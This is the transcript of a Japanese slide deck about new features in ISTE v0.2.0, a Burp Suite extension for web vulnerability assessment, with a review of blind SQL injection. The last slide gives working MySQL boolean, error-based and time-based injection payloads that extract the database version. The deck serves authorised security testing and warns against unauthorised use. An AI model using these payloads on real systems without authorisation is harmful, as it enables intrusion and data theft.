Upgrade to Pro — share decks privately, control downloads, hide ads and more …

#BurpISTE v0.2.0の新機能+BSQLi復習 / What's New in ISTE v0.2.0 and Explanation of BSQLi

okuken
April 22, 2021

#BurpISTE v0.2.0の新機能+BSQLi復習 / What's New in ISTE v0.2.0 and Explanation of BSQLi

Webアプリケーション脆弱性診断員を煩雑な作業から解放し、全集中へと導く Burp extension 「ISTE: Integrated Security Testing Environment」の v0.2.0 新機能紹介と、それに絡めてBSQLiを解説します。
ハッシュタグ:#BurpISTE

okuken

April 22, 2021
Tweet

More Decks by okuken

Other Decks in Technology

Transcript

  1. 0. 自己紹介 1. ISTE v0.2.0 の新機能  1-1. ISTE: Integrated Security

    Testing Environment  1-2. ISTE v0.2.0 の新機能  1-3. ISTE v0.2.0 の改善点  1-4. デモ 2. BSQLi 復習  2-1. SQL Injection  2-2. Blind SQL Injection 3. まとめ Agenda
  2. Kenichi Okuno  Twitter: @okuken3 略歴  1. SIerで色々  2. 業務パッケージベンダで開発  3.

    Web事業会社でプロダクトセキュリティチーム立上げ  4. 情報セキュリティサービス会社でWeb脆弱性診断 最近の出来事  ・ISTE v0.2.0 公開  ・Among Us 楽しい(上手くはない)
  3. ISTE v0.2.0 の新機能 機能 概要 起動経路 Blind SQL injection 検出済みBSQLi脆弱性を利用したデータ

    抽出作業を自動化する機能 ※1 ISTE > List > (Context menu) > Exploit > Blind SQL injection URL一覧の コピーテンプレート設定 URL一覧内のレコードをクリップボード にコピーする際のテンプレ設定機能 ISTE > Options > User options > Copy templates URL単位メモの テンプレート設定 プロジェクト単位メモと同様に、URL単 位メモのテンプレを設定する機能 ISTE > Options > User options > Note templates > List Send To Repeat履歴 URL一覧内の特定URLのRepeat履歴に Send Toする機能 Proxy > HTTP history > (Context menu) > Send to ISTE as history of repeat ※1 脆弱性診断において、BSQLi脆弱性が利用可能であることの証明を目的として、バージョン情報等を抽出する際に用いる。   対象システムの管理者の許可なく実行しないよう注意すること。(不正アクセス禁止法等の法令違反に当たる可能性がある)
  4. 対象機能 改善点 Repeater ・アカウント指定Repeatに、「セッション更新+送信」機能を追加した(Shift + Send) ・Sendボタンにキーボードニーモニックを設定した(Alt + S) ・アカウント選択時に表示するセッションIDを、右クリックでコピーできるようにした

    URL一覧 ・使用中のISTEプロジェクトの名前とBurpプロジェクト名が異なる場合に、誤操作防止の観点 から、プロジェクト名を赤文字表示(警告表示)するようにした ・ISTEプロジェクト選択ダイアログにおいて、Burpプロジェクト名と同名のISTEプロジェクト を強調表示するようにした ISTE v0.2.0 の改善点
  5. Blind SQL Injection の方法 参考:https://portswigger.net/web-security/sql-injection/blind 真偽の判別方法 利用ケース 判別例 レスポンス内容の差異 SQLiによる取得データそのものはレス

    ポンスに出力されないが、レスポンス 内容に差異を出せるケース ログイン成功 / 失敗 エラー発生の有無 レスポンス内容に差異は出せないが、 SQLでエラーを発生させることで、異 常レスポンスを得られるケース 正常(200) / 異常(500) レスポンス遅延の有無 SQLエラーでも異常レスポンスを得ら れないが、同期処理中に発行される SQLであり、遅延を検知できるケース 遅延有り / 無し 外部通信発生の有無 非同期処理中に発行されるSQLである ため遅延は検知できないが、SQLiで外 部通信をさせることが可能なケース 通信有り / 無し
  6. Blind SQL Injection の例 真偽の判別方法 ペイロード例(MySQL) / ISTE設定例 レスポンス内容の差異 xxx'

    and (SELECT ASCII(SUBSTRING(version(),3,1))) < 64 and ''=' xxx' and (SELECT ASCII(SUBSTRING(version(),$ISTE:INDEX$,1))) $ISTE:OPEVAL$ and ''=' エラー発生の有無 xxx' and (SELECT IF(ASCII(SUBSTRING(version(),3,1))<64,(SELECT table_name FROM information_schema.tables),0))=0 and ''=' xxx' and (SELECT IF(ASCII(SUBSTRING(version(),$ISTE:INDEX$,1))$ISTE:OPEVAL$, (SELECT table_name FROM information_schema.tables),0))=0 and ''=' レスポンス遅延の有無 xxx' and (SELECT IF(ASCII(SUBSTRING(version(),3,1))<64,(select sleep(1)),0))=0 and ''=' xxx' and (SELECT IF(ASCII(SUBSTRING(version(),$ISTE:INDEX$,1))$ISTE:OPEVAL$,(select sleep(1)),0))=0 and ''=' 外部通信発生の有無 (ISTE未対応)